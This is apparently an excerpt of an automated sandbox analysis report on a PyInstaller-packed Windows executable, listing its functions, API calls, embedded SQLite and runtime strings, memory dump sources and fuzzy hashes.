API ID: Window$Process$ConsoleCurrentShowThread
String ID:
API String ID: 242035731-0
Opcode ID: dc119808c190f3f609372cde833c1319ecd6838c5863d1c5dc0248c8f4992b64
Instruction ID: 7f68a3e824d9c3b848c033efdba15228e63b283e92bc725de70707c27a8c40a1
Opcode Fuzzy Hash: dc119808c190f3f609372cde833c1319ecd6838c5863d1c5dc0248c8f4992b64
Instruction Fuzzy Hash: 97F03023E28B4282FBA46B66B44403963A2FF89B98F0850B0D94E82264DE7CE4958610

Function 00007FF6929E86A0 Relevance: 6.0, APIs: 4, Instructions: 23threadCOMMON

Download Yara Rule

APIs

GetConsoleWindow.KERNEL32 ref: 00007FF6929E86A6
GetCurrentProcessId.KERNEL32 ref: 00007FF6929E86B9
GetWindowThreadProcessId.USER32 ref: 00007FF6929E86C9
ShowWindow.USER32 ref: 00007FF6929E86E1

Memory Dump Source

Source File: 00000000.00000002.2156221336.00007FF6929E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6929E0000, based on PE: true

Associated: 00000000.00000002.2155591125.00007FF6929E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156257166.00007FF692A0D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156289156.00007FF692A20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156289156.00007FF692A24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156412753.00007FF692A26000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6929e0000_LIccs3x2LZ.jbxd

Similarity

API ID: Window$Process$ConsoleCurrentShowThread
String ID:
API String ID: 242035731-0
Opcode ID: ef1b52002b078da6e4bc146513f63fb1d7b490387893660315a42f1c57b8f302
Instruction ID: eab7894420688c503d53f56b54ef352dd381d3527b91ec41faab4465f3adb5d7
Opcode Fuzzy Hash: ef1b52002b078da6e4bc146513f63fb1d7b490387893660315a42f1c57b8f302
Instruction Fuzzy Hash: 79F03073A28B4282FF606B62A44453963A1FF89B98F0810B0D94E87B64DF7CE495C700

Function 00007FF692A06D2C Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 121COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF692A02970: _invalid_parameter_noinfo.LIBCMT ref: 00007FF692A029A3

_get_daylight.LIBCMT ref: 00007FF692A06E44
_get_daylight.LIBCMT ref: 00007FF692A06E55

Strings

?, xrefs: 00007FF692A06DD5

Memory Dump Source

Source File: 00000000.00000002.2156221336.00007FF6929E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6929E0000, based on PE: true

Associated: 00000000.00000002.2155591125.00007FF6929E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156257166.00007FF692A0D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156289156.00007FF692A20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156289156.00007FF692A24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156412753.00007FF692A26000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6929e0000_LIccs3x2LZ.jbxd

Similarity

API ID: _get_daylight$_invalid_parameter_noinfo
String ID: ?
API String ID: 1286766494-1684325040
Opcode ID: fffe139c3efa292f6124a3946bb52bccadd4f1441fdc513cd03e48c006c18545
Instruction ID: e0fd9d29d94dfe9e9f4c489166ad789130f2235e6e758f05a82188ba1f0b540e
Opcode Fuzzy Hash: fffe139c3efa292f6124a3946bb52bccadd4f1441fdc513cd03e48c006c18545
Instruction Fuzzy Hash: 85410923A187824AFB749B26D4417BA67A0EF82FACF144275EE5C86AD5DE7CD441CB00

Function 00007FF6929F9EF0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 111COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6929F9F22

Part of subcall function 00007FF6929FB404: RtlFreeHeap.NTDLL(?,?,?,00007FF692A03F32,?,?,?,00007FF692A03F6F,?,?,00000000,00007FF692A04435,?,?,?,00007FF692A04367), ref: 00007FF6929FB41A
Part of subcall function 00007FF6929FB404: GetLastError.KERNEL32(?,?,?,00007FF692A03F32,?,?,?,00007FF692A03F6F,?,?,00000000,00007FF692A04435,?,?,?,00007FF692A04367), ref: 00007FF6929FB424

GetModuleFileNameW.KERNEL32(?,?,?,?,?,00007FF6929EC105), ref: 00007FF6929F9F40

Strings

C:\Users\user\Desktop\LIccs3x2LZ.exe, xrefs: 00007FF6929F9F2E

Memory Dump Source

Source File: 00000000.00000002.2156221336.00007FF6929E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6929E0000, based on PE: true

Associated: 00000000.00000002.2155591125.00007FF6929E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156257166.00007FF692A0D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156289156.00007FF692A20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156289156.00007FF692A24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156412753.00007FF692A26000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6929e0000_LIccs3x2LZ.jbxd

Similarity

API ID: ErrorFileFreeHeapLastModuleName_invalid_parameter_noinfo
String ID: C:\Users\user\Desktop\LIccs3x2LZ.exe
API String ID: 3580290477-4004271235
Opcode ID: 496cb20121ffb358d8bc6bcc3f9a42c329008a34e001e0b57ef52f5ac5fb1638
Instruction ID: 68f6a06e05874cad2e833da77e3db9bb45c628c5ff33d8e3382261a1c83ea2f2
Opcode Fuzzy Hash: 496cb20121ffb358d8bc6bcc3f9a42c329008a34e001e0b57ef52f5ac5fb1638
Instruction Fuzzy Hash: 7A417F72A08B1286FBB4DF26A8500FA27A4FF497C8B554075F94E87B96DF7CE8419300

Function 00007FF6929FDAD8 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32 ref: 00007FF6929FDBEF
GetLastError.KERNEL32 ref: 00007FF6929FDC11

Strings

U, xrefs: 00007FF6929FDB9B

Memory Dump Source

Source File: 00000000.00000002.2156221336.00007FF6929E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6929E0000, based on PE: true

Associated: 00000000.00000002.2155591125.00007FF6929E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156257166.00007FF692A0D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156289156.00007FF692A20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156289156.00007FF692A24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156412753.00007FF692A26000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6929e0000_LIccs3x2LZ.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID: U
API String ID: 442123175-4171548499
Opcode ID: cb87ea1d99dc886f50d571e7adc08eb5a7dc8047dd93f89a11db01e9e971137a
Instruction ID: 9fa8578a8ee7a09d67ec75ab79d2e3faa6686a2702ea16ddefdd864ad53a22b8
Opcode Fuzzy Hash: cb87ea1d99dc886f50d571e7adc08eb5a7dc8047dd93f89a11db01e9e971137a
Instruction Fuzzy Hash: D041B273A18A4185EB70DF26E8443AA67A0FB98B98F404035EE4EC7799DFBCD441D750

Function 00007FF6929E2020 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 78COMMON

Download Yara Rule

APIs

GetCurrentProcessId.KERNEL32(?,?,?,?,00000000,00000000,?,00000000,00007FF6929E1B4A), ref: 00007FF6929E2070

Strings

%s: %s, xrefs: 00007FF6929E20EF
[PYI-%d:ERROR] , xrefs: 00007FF6929E2078

Memory Dump Source

Source File: 00000000.00000002.2156221336.00007FF6929E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6929E0000, based on PE: true

Associated: 00000000.00000002.2155591125.00007FF6929E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156257166.00007FF692A0D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156289156.00007FF692A20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156289156.00007FF692A24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156412753.00007FF692A26000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6929e0000_LIccs3x2LZ.jbxd

Similarity

API ID: CurrentProcess
String ID: %s: %s$[PYI-%d:ERROR]
API String ID: 2050909247-3704582800
Opcode ID: cf9b01a4511ef92980d36f6eaa2bfca0541e126ccd784a3e4475787c2cf8d358
Instruction ID: 51058a8d96ded178f28062a3f5b7f00aca07bd582d1444b632f6fa61eb758c11
Opcode Fuzzy Hash: cf9b01a4511ef92980d36f6eaa2bfca0541e126ccd784a3e4475787c2cf8d358
Instruction Fuzzy Hash: 29218073A18A8155F7309762A8516FA6394FF88BD8F404171FE8ED7B8ADEBCD546C200

Function 00007FF692A007C8 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 66COMMON

Download Yara Rule

APIs

GetCurrentDirectoryW.KERNEL32 ref: 00007FF692A00808
GetCurrentDirectoryW.KERNEL32 ref: 00007FF692A0085A

Strings

:, xrefs: 00007FF692A0081E

Memory Dump Source

Source File: 00000000.00000002.2156221336.00007FF6929E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6929E0000, based on PE: true

Associated: 00000000.00000002.2155591125.00007FF6929E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156257166.00007FF692A0D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156289156.00007FF692A20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156289156.00007FF692A24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156412753.00007FF692A26000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6929e0000_LIccs3x2LZ.jbxd

Similarity

API ID: CurrentDirectory
String ID: :
API String ID: 1611563598-336475711
Opcode ID: 576b735185a232e7c4c7703006db41f83a331aa74a964717a1a8a85435f6eb25
Instruction ID: d95222bba71b0256474f1c47666075493168aefb38b781f8395a2882d647b519
Opcode Fuzzy Hash: 576b735185a232e7c4c7703006db41f83a331aa74a964717a1a8a85435f6eb25
Instruction Fuzzy Hash: 0321EF33B0868182FB349B12D45427E73B1FB89B88F458075DA8D83685CFBCE949C788

Function 00007FF6929E2140 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 57COMMON

Download Yara Rule

APIs

GetCurrentProcessId.KERNEL32(00000000,?,?,?,00000000,00007FF6929E28DA,FFFFFFFF,00000000,00007FF6929E3362), ref: 00007FF6929E218E

Strings

[PYI-%d:%s] , xrefs: 00007FF6929E2196
WARNING, xrefs: 00007FF6929E219D

Memory Dump Source

Source File: 00000000.00000002.2156221336.00007FF6929E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6929E0000, based on PE: true

Associated: 00000000.00000002.2155591125.00007FF6929E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156257166.00007FF692A0D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156289156.00007FF692A20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156289156.00007FF692A24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156412753.00007FF692A26000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6929e0000_LIccs3x2LZ.jbxd

Similarity

API ID: CurrentProcess
String ID: WARNING$[PYI-%d:%s]
API String ID: 2050909247-3752221249
Opcode ID: 7d68ee11a32ffdc820f588c9092a71756a31bd868f965a857c73b3f1f744551a
Instruction ID: e33d9e84a59e7b6ab7a407d0f8487fb2690420bf9d1beafeee2fd0438d0b6e15
Opcode Fuzzy Hash: 7d68ee11a32ffdc820f588c9092a71756a31bd868f965a857c73b3f1f744551a
Instruction Fuzzy Hash: 28119373A18B8141F7309B52B8915EA7354FF847C8F400175FA8D93A5ADEBCD555C700

Function 00007FF6929E1E50 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 57COMMON

Download Yara Rule

APIs

GetCurrentProcessId.KERNEL32(?,00000000,00000000,?,00000000,00007FF6929E1B79), ref: 00007FF6929E1E9E

Strings

[PYI-%d:%s] , xrefs: 00007FF6929E1EA6
ERROR, xrefs: 00007FF6929E1EAD

Memory Dump Source

Source File: 00000000.00000002.2156221336.00007FF6929E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6929E0000, based on PE: true

Associated: 00000000.00000002.2155591125.00007FF6929E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156257166.00007FF692A0D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156289156.00007FF692A20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156289156.00007FF692A24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156412753.00007FF692A26000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6929e0000_LIccs3x2LZ.jbxd

Similarity

API ID: CurrentProcess
String ID: ERROR$[PYI-%d:%s]
API String ID: 2050909247-3005936843
Opcode ID: 62cbc377ad39f0f57ac113c1b5e744fc407643feec6e9a2503ac327b26b25e1c
Instruction ID: ed5f7403ff8eb9792084c223fd88b492657034c5743e8b1551a816525faa2767
Opcode Fuzzy Hash: 62cbc377ad39f0f57ac113c1b5e744fc407643feec6e9a2503ac327b26b25e1c
Instruction Fuzzy Hash: 40119373618B8141F7309B52B4816EA7364FF847C8F400175FA8D93A5ADEBCD555C700

Function 00007FF6929EF278 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44COMMON

Download Yara Rule

APIs

RtlPcToFileHeader.KERNEL32 ref: 00007FF6929EF2C8
RaiseException.KERNEL32 ref: 00007FF6929EF309

Strings

csm, xrefs: 00007FF6929EF2F6

Memory Dump Source

Source File: 00000000.00000002.2156221336.00007FF6929E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6929E0000, based on PE: true

Associated: 00000000.00000002.2155591125.00007FF6929E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156257166.00007FF692A0D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156289156.00007FF692A20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156289156.00007FF692A24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156412753.00007FF692A26000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6929e0000_LIccs3x2LZ.jbxd

Similarity

API ID: ExceptionFileHeaderRaise
String ID: csm
API String ID: 2573137834-1018135373
Opcode ID: 2d92b8b7d521df9494866c30e4ae755c0f7892732a35e9ef4a1741b3f71c7287
Instruction ID: 07a1497361648c9d1a1c8ef85e37ada957ec56217c7248f595da59fecb6b6798
Opcode Fuzzy Hash: 2d92b8b7d521df9494866c30e4ae755c0f7892732a35e9ef4a1741b3f71c7287
Instruction Fuzzy Hash: 99116D37A08B8082EB218F15F440269B7E0FB89B88F584271DE8D47B69DF7CD551CB40

Function 00007FF692A0194C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 36COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF692A0197C
GetDriveTypeW.KERNEL32 ref: 00007FF692A019BC

Strings

:, xrefs: 00007FF692A019A5

Memory Dump Source

Source File: 00000000.00000002.2156221336.00007FF6929E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6929E0000, based on PE: true

Associated: 00000000.00000002.2155591125.00007FF6929E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156257166.00007FF692A0D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156289156.00007FF692A20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156289156.00007FF692A24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156412753.00007FF692A26000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6929e0000_LIccs3x2LZ.jbxd

Similarity

API ID: DriveType_invalid_parameter_noinfo
String ID: :
API String ID: 2595371189-336475711
Opcode ID: bb470fc7cf78428f0d9dc0079e6dc4031c2c99e910ba5258b42cac156009a768
Instruction ID: 68e6fe6a3ab1e3b31ad7fd62d05fdc1a9b374f1cf0261ef9310a3e1bc23dc8e5
Opcode Fuzzy Hash: bb470fc7cf78428f0d9dc0079e6dc4031c2c99e910ba5258b42cac156009a768
Instruction Fuzzy Hash: 74018F63D1C20286F770AF6194612BE63A0FF5A74CF800075E94DC6682EFBCE9058B14

Analysis Process: LIccs3x2LZ.exePID: 3504, Parent PID: 7132COMMON

Execution Graph

Execution Coverage:	1.3%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0.7%
Total number of Nodes:	1354
Total number of Limit Nodes:	49

Executed Functions

Function 00007FF8B7E4E380 Relevance: 49.1, APIs: 16, Strings: 12, Instructions: 106
libraryloadermemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNEL32(?,?,?,00007FF8B7E42B53), ref: 00007FF8B7E4E393
LoadLibraryW.KERNEL32(?,?,?,00007FF8B7E42B53), ref: 00007FF8B7E4E3A8
GetProcAddress.KERNEL32(?,?,?,00007FF8B7E42B53), ref: 00007FF8B7E4E3C4
GetProcAddress.KERNEL32(?,?,?,00007FF8B7E42B53), ref: 00007FF8B7E4E3E9
GetProcAddress.KERNEL32(?,?,?,00007FF8B7E42B53), ref: 00007FF8B7E4E40E
GetProcAddress.KERNEL32(?,?,?,00007FF8B7E42B53), ref: 00007FF8B7E4E433
GetProcAddress.KERNEL32(?,?,?,00007FF8B7E42B53), ref: 00007FF8B7E4E458
GetProcAddress.KERNEL32(?,?,?,00007FF8B7E42B53), ref: 00007FF8B7E4E47D
GetProcAddress.KERNEL32(?,?,?,00007FF8B7E42B53), ref: 00007FF8B7E4E4A2
GetProcAddress.KERNEL32(?,?,?,00007FF8B7E42B53), ref: 00007FF8B7E4E4C7
GetProcAddress.KERNEL32(?,?,?,00007FF8B7E42B53), ref: 00007FF8B7E4E4EC
GetProcAddress.KERNEL32(?,?,?,00007FF8B7E42B53), ref: 00007FF8B7E4E511
InitializeCriticalSection.KERNEL32(?,?,?,00007FF8B7E42B53), ref: 00007FF8B7E4E53C
TlsAlloc.KERNEL32(?,?,?,00007FF8B7E42B53), ref: 00007FF8B7E4E542
DeleteCriticalSection.KERNEL32(?,?,?,00007FF8B7E42B53), ref: 00007FF8B7E4E562
TlsFree.KERNEL32(?,?,?,00007FF8B7E42B53), ref: 00007FF8B7E4E56E

Strings

AddAccessDeniedAceEx, xrefs: 00007FF8B7E4E465
AddAuditAccessObjectAce, xrefs: 00007FF8B7E4E4D4
AddAccessAllowedAce, xrefs: 00007FF8B7E4E3BA
AddAccessAllowedAceEx, xrefs: 00007FF8B7E4E3F6
AddAuditAccessAceEx, xrefs: 00007FF8B7E4E4AF
AddMandatoryAce, xrefs: 00007FF8B7E4E41B
AdvAPI32.dll, xrefs: 00007FF8B7E4E3A1
AddAccessDeniedAce, xrefs: 00007FF8B7E4E3D1
AddAccessDeniedObjectAce, xrefs: 00007FF8B7E4E48A
AdvAPI32.dll, xrefs: 00007FF8B7E4E38A
SetSecurityDescriptorControl, xrefs: 00007FF8B7E4E4F9
AddAccessAllowedObjectAce, xrefs: 00007FF8B7E4E440

Memory Dump Source

Source File: 00000003.00000002.2148628060.00007FF8B7E41000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF8B7E40000, based on PE: true

Associated: 00000003.00000002.2148531360.00007FF8B7E40000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000003.00000002.2148654788.00007FF8B7E51000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000003.00000002.2148675978.00007FF8B7E60000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000003.00000002.2148695163.00007FF8B7E63000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8b7e40000_LIccs3x2LZ.jbxd

Similarity

API ID: AddressProc$CriticalSection$AllocDeleteFreeHandleInitializeLibraryLoadModule
String ID: AddAccessAllowedAce$AddAccessAllowedAceEx$AddAccessAllowedObjectAce$AddAccessDeniedAce$AddAccessDeniedAceEx$AddAccessDeniedObjectAce$AddAuditAccessAceEx$AddAuditAccessObjectAce$AddMandatoryAce$AdvAPI32.dll$AdvAPI32.dll$SetSecurityDescriptorControl
API String ID: 3842108915-2837477449
Opcode ID: 6ab48c0395126bff4a8464223769d4546231a562712fb3185bb148e057fa60ed
Instruction ID: 7d9f7600bad4b9ab166ff01c85c04b3f3ca518a862c1d0d61981f20b37a1c968
Opcode Fuzzy Hash: 6ab48c0395126bff4a8464223769d4546231a562712fb3185bb148e057fa60ed
Instruction Fuzzy Hash: 96517CA1A19B4B95EB49DB1DBDA463833A4AF88FC1F445139DA0E42370EF3CF6958300

Function 00007FF8A8A267C0 Relevance: 23.7, APIs: 5, Strings: 10, Instructions: 1180COMMON

Download Yara Rule

APIs

memmove.VCRUNTIME140 ref: 00007FF8A8A2709B
memmove.VCRUNTIME140 ref: 00007FF8A8A27142
memmove.VCRUNTIME140 ref: 00007FF8A8A27231
memmove.VCRUNTIME140 ref: 00007FF8A8A276F8
memmove.VCRUNTIME140 ref: 00007FF8A8A277A9

Strings

too many references to "%s": max 65535, xrefs: 00007FF8A8A26C0B
Expression tree is too large (maximum depth %d), xrefs: 00007FF8A8A27370, 00007FF8A8A2750E
unsafe use of virtual table "%s", xrefs: 00007FF8A8A26A32
'%s' is not a function, xrefs: 00007FF8A8A26BF4
no tables specified, xrefs: 00007FF8A8A27976
too many columns in result set, xrefs: 00007FF8A8A279E1
%s.%s, xrefs: 00007FF8A8A273C0
access to view "%s" prohibited, xrefs: 00007FF8A8A269F8
no such table: %s, xrefs: 00007FF8A8A278A5
%s.%s.%s, xrefs: 00007FF8A8A277B5

Memory Dump Source

Source File: 00000003.00000002.2145502993.00007FF8A8991000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF8A8990000, based on PE: true

Associated: 00000003.00000002.2145478532.00007FF8A8990000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.2145698132.00007FF8A8AC1000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.2145743451.00007FF8A8AED000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.2145766945.00007FF8A8AF1000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a8990000_LIccs3x2LZ.jbxd

Similarity

API ID: memmove
String ID: %s.%s$%s.%s.%s$'%s' is not a function$Expression tree is too large (maximum depth %d)$access to view "%s" prohibited$no such table: %s$no tables specified$too many columns in result set$too many references to "%s": max 65535$unsafe use of virtual table "%s"
API String ID: 2162964266-2569910876
Opcode ID: bac79340322c70f5a5aef73ae615fa7bff159a0eaed40a838e851dac43849da0
Instruction ID: e5469d196517954f0462287e3887123db79a4e1007b4ca6f28076e99dc11c34d
Opcode Fuzzy Hash: bac79340322c70f5a5aef73ae615fa7bff159a0eaed40a838e851dac43849da0
Instruction Fuzzy Hash: BFB2BCB2A0BA82A6EB618F159041BB977A0FB55BC4F088235DE5D077A4FF38F541C325

Function 00007FF8A8A5BF50 Relevance: 20.1, APIs: 1, Strings: 12, Instructions: 553COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140 ref: 00007FF8A8A5C014

Strings

BINARY, xrefs: 00007FF8A8A5C08C, 00007FF8A8A5C157, 00007FF8A8A5C176
1b256d97b553a9611efca188a3d995a2fff712759044ba480f9a0c9e98fae886, xrefs: 00007FF8A8A5C493, 00007FF8A8A5C646, 00007FF8A8A5C677, 00007FF8A8A5C68F, 00007FF8A8A5C6F7
%s at line %d of [%.10s], xrefs: 00007FF8A8A5C4AC, 00007FF8A8A5C65F, 00007FF8A8A5C750
misuse, xrefs: 00007FF8A8A5C4A0, 00007FF8A8A5C653, 00007FF8A8A5C746
NOCASE, xrefs: 00007FF8A8A5C19D
RTRIM, xrefs: 00007FF8A8A5C1C4
API call with %s database connection pointer, xrefs: 00007FF8A8A5C487, 00007FF8A8A5C63A, 00007FF8A8A5C72F
automatic extension loading failed: %s, xrefs: 00007FF8A8A5C58B
invalid, xrefs: 00007FF8A8A5C47D, 00007FF8A8A5C630, 00007FF8A8A5C725
temp, xrefs: 00007FF8A8A5C3C3
main, xrefs: 00007FF8A8A5C3B5
MATCH, xrefs: 00007FF8A8A5C410

Memory Dump Source

Source File: 00000003.00000002.2145502993.00007FF8A8991000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF8A8990000, based on PE: true

Associated: 00000003.00000002.2145478532.00007FF8A8990000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.2145698132.00007FF8A8AC1000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.2145743451.00007FF8A8AED000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.2145766945.00007FF8A8AF1000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a8990000_LIccs3x2LZ.jbxd

Similarity

API ID: memset
String ID: %s at line %d of [%.10s]$1b256d97b553a9611efca188a3d995a2fff712759044ba480f9a0c9e98fae886$API call with %s database connection pointer$BINARY$MATCH$NOCASE$RTRIM$automatic extension loading failed: %s$invalid$main$misuse$temp
API String ID: 2221118986-1565624303
Opcode ID: a8f8580e9a1ff03cc5383c720405965b08f9dcefaf4bb29806cfb833376b49dc
Instruction ID: e2f84461096fe317bb2e2a9b3f96ffe4b6dde262ba78bfd1d8a5fcfd58d480b1
Opcode Fuzzy Hash: a8f8580e9a1ff03cc5383c720405965b08f9dcefaf4bb29806cfb833376b49dc
Instruction Fuzzy Hash: 5942C765A0B742A5EB589F25E44227927A2FF44BC8F082135CD4E47658FF3CF585C32A

Function 00007FF692A07B74 Relevance: 13.8, APIs: 9, Instructions: 276
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF692A078A8: _invalid_parameter_noinfo.LIBCMT ref: 00007FF692A078E9
Part of subcall function 00007FF692A078A8: _invalid_parameter_noinfo.LIBCMT ref: 00007FF692A07967
Part of subcall function 00007FF692A078A8: _invalid_parameter_noinfo.LIBCMT ref: 00007FF692A079B8

CreateFileW.KERNEL32 ref: 00007FF692A07C7A
CreateFileW.KERNEL32 ref: 00007FF692A07CCA
GetLastError.KERNEL32 ref: 00007FF692A07CFA
GetFileType.KERNEL32 ref: 00007FF692A07D0F
GetLastError.KERNEL32 ref: 00007FF692A07D19
CloseHandle.KERNEL32 ref: 00007FF692A07D4C
CloseHandle.KERNEL32 ref: 00007FF692A07EAF
CreateFileW.KERNEL32 ref: 00007FF692A07EE4
GetLastError.KERNEL32 ref: 00007FF692A07EF3

Memory Dump Source

Source File: 00000003.00000002.2145280029.00007FF6929E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6929E0000, based on PE: true

Associated: 00000003.00000002.2145182088.00007FF6929E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145313777.00007FF692A0D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145342782.00007FF692A20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145342782.00007FF692A23000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145440406.00007FF692A26000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff6929e0000_LIccs3x2LZ.jbxd

Similarity

API ID: File$CreateErrorLast_invalid_parameter_noinfo$CloseHandle$Type
String ID:
API String ID: 1617910340-0
Opcode ID: 6900b12a6c6c443aa41c68e268e6275e38d412fb7e8bb922b7a0c5fbdd2459d5
Instruction ID: 67e30de1f1b54e3514d2a6269c1b8e0420c8b9049162e5b19d7613f71e089496
Opcode Fuzzy Hash: 6900b12a6c6c443aa41c68e268e6275e38d412fb7e8bb922b7a0c5fbdd2459d5
Instruction Fuzzy Hash: 5BC1C033B28A4286FB60CF69D8806BD3761EB4AB98B015265DE1E9B7D5CF78D855C300

Function 00007FF8A8A1A1D0 Relevance: 10.8, APIs: 1, Strings: 6, Instructions: 329
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed
